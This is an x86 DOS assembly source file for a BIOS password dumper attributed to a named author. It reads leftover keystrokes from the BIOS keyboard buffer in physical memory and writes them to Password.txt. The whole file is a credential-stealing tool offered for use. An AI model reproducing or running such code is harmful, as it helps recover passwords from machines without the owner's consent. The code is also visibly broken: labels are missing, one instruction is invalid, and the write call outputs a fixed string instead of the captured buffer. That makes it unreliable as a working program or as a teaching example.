;---------------- [ wbiosw.asm ]-----------------------------------------

;  Endrazine - Jonathan Brossard - [email protected]  ;
;        Bios Password Physical Memory Reader        ;
;      Write to file Windows Compatible version      ;
;                                                    ;
;Compiling : A86 wbiosw.asm wbiosw.com               ;

code segment
        org 100h
        assume ds:code, es:code, cs:code

        mov ah, 09h
        mov dx,offset welcome
        int 21h

        xor ax,ax
        int 16h

        mov ds, 40h                  ; This is the input buffer adress
        mov si, 01EH                 ; starting at 40h:01eh
        mov di,offset buffer
        mov cx,32

        mov ax,[ds:si]
        mov [cs:di],ax
        inc di
        add si,2                    ; Replace this line by add si,4
                                    ; if you plan to use it under Dos
loop daloop

        mov ds,es

        mov ah, 3ch                 ; MS DOS Create file Function
        mov dx, offset fname
        xor cx,cx
        int 21h

        mov ax, 3d01h               ; MS DOS Open file Function
        int 21h
        mov handle,ax

        mov ah, 40h
        mov bx,handle
        mov cx,32
        mov dx, offset Msg
        int 21h                     ; Write buffer to file

        mov ax,4ch                  ; Quit
        int 21h

handle dw ?
welcome db 'Password dumper by Endrazine ([email protected])',10,13
        db '',10,13
        db 'Dumping Password to Password.txt',10,13
        db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
buffer db 32 dup ?
end start